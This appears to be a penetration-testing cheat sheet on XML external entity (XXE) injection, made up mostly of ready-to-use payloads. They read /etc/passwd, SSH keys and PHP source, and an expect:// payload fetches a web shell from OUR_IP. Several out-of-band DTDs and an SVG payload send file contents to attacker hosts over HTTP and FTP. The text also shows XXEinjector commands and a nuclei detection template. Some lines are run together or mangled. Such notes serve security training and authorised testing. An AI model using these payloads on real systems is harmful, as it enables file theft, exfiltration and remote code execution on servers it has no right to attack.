<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE email [ <!ENTITY company SYSTEM "http://localhost/company.txt"> <!ENTITY signature SYSTEM "file:///var/www/html/signature.txt">]>
We may also use the PUBLIC keyword instead of SYSTEM for loading external resources, which is used with publicly declared entities and standards, such as a language code (lang="en").
Detection
<!DOCTYPE email [ <!ENTITY company "Inlane Freight">]>
Note: Some web applications may default to a JSON format in HTTP request, but may still accept other formats, including XML. So, even if a web app sends requests in a JSON format, we can try changing the Content-Type header to application/xml, and then convert the JSON data to XML with an online tool. If the web application does accept the request with XML data, then we may also test it against XXE vulnerabilities, which may reveal an unanticipated XXE vulnerability.
Read File
<!DOCTYPE email [ <!ENTITY company SYSTEM "file:///etc/passwd">]>
Read the content of sensitive files, like configuration files that may contain passwords or other sensitive files like an id_rsa SSH key of a specific user
Read the source code of the web application
Tip: In certain Java web applications, we may also be able to specify a directory instead of a file, and we will get a directory listing instead, which can be useful for locating sensitive files. See Basic XXE
If a file contains some of XML's special characters (e.g. </>/&), it would break the external entity reference and not be used for the reference. Furthermore, we cannot read any binary data, as it would also not conform to the XML format. Solution for PHP app: Base64
<!DOCTYPE email [ <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<?xml version="1.0"?><!DOCTYPE email [ <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">]><root><name></name><tel></tel><email>&company;</email><message></message></root>
Note: We replaced all spaces in the above XML code with $IFS, to avoid breaking the XML syntax. Furthermore, many other characters like |, >, and { may break the code, so we should avoid using them
<!DOCTYPE email [ <!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag --> <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- reference external file --> <!ENTITY % end "]]>"> <!-- append the end of the CDATA tag --> <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- reference our external DTD --> %xxe;]>...<email>&joined;</email> <!-- reference the &joined; entity to print the file content -->
Note: In some modern web servers, we may not be able to read some files (like index.php), as the web server would be preventing a DOS attack caused by file/entity self-reference (i.e., XML entity reference loop), as mentioned in the previous section.
<!ENTITY % file SYSTEM "file:///etc/hosts"><!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
payload
<!DOCTYPE email [ <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd"> %remote; %error;]>
This method is not as reliable as the previous method for reading source files, as it may have length limitations, and certain special characters may still break it
Out-of-band Data Exfiltration
Dtd file:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"><!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
Tip: In addition to storing our base64 encoded data as a parameter to our URL, we may utilize DNS OOB Exfiltration by placing the encoded data as a sub-domain for our URL (e.g. ENCODEDTEXT.our.website.com), and then use a tool like tcpdump to capture any incoming traffic and decode the sub-domain string to get the data. Granted, this method is more advanced and requires more effort to exfiltrate data through.
Copy the HTTP request from Burp and write it to a file. Not include the full XML data, only the first line, and write XXEINJECT after it as a position locator for the tool:
POST /blind/submitDetails.php HTTP/1.1Host:10.129.201.94Content-Length:169User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Content-Type:text/plain;charset=UTF-8Accept:*/*Origin:http://10.129.201.94Referer:http://10.129.201.94/blind/Accept-Encoding:gzip, deflateAccept-Language:en-US,en;q=0.9Connection:close<?xml version="1.0" encoding="UTF-8"?>XXEINJECT
ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter
...SNIP...
[+] Sending request with malicious XML.
[+] Responding with XML for: /etc/passwd
[+] Retrieved data:
All exfiltrated files get stored in the Logs folder under the tool
After identifying a Blind XXE for example in Burpsuite it is pretty straight forward with this tool. Simply save the request into a file (req.txt for example) and insert XXEINJECT at the location of the identified injectible parameter. https://blog.kennyjansson.com/2018/03/31/automating-blind-xxe-injection/
id: blind-xxe
info:
name: Blind XXE
author: geeknik,otterly
severity: high
variables:
rletter: "{{rand_base(6,'oterly')}}"
requests:
- raw:
- |
POST {{Path}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x88_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,deflate
Referer: {{BaseURL}}
Content-Type: text/xml
Content-Length: 112
Connection: close
<?xml version="1.0"?>
<!DOCTYPE {{rletter}} SYSTEM "http://{{interactsh-url}}">
<{{rletter}}>&e1;</{{rletter}}>
redirects: true
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- "http"
condition: or
Out of Band
OOB Detection
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % ext SYSTEM "http://[IP]/x"> %ext;]><r></r>
OOB using SVG Image
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY % a SYSTEM "file:///etc/hostname"> <!ENTITY b SYSTEM "http://attack_ip/x=?%a;">]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<textfont-size="16"x="0"y="16">&b;</text></svg>
DTD Exfiltration
<?xml version="1.0" ?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dtd SYSTEM "http://[IP]/remote.dtd">
%dtd;]>
<data>&send;</data>
cat remote.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://[IP]/?%file;'>"> %all;
FTP
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://[IP]/ftp.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
# cat ftp.dtd
<!ENTITY % d SYSTEM "file:///etc/hostname">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://[IP]:2121/%d;'>">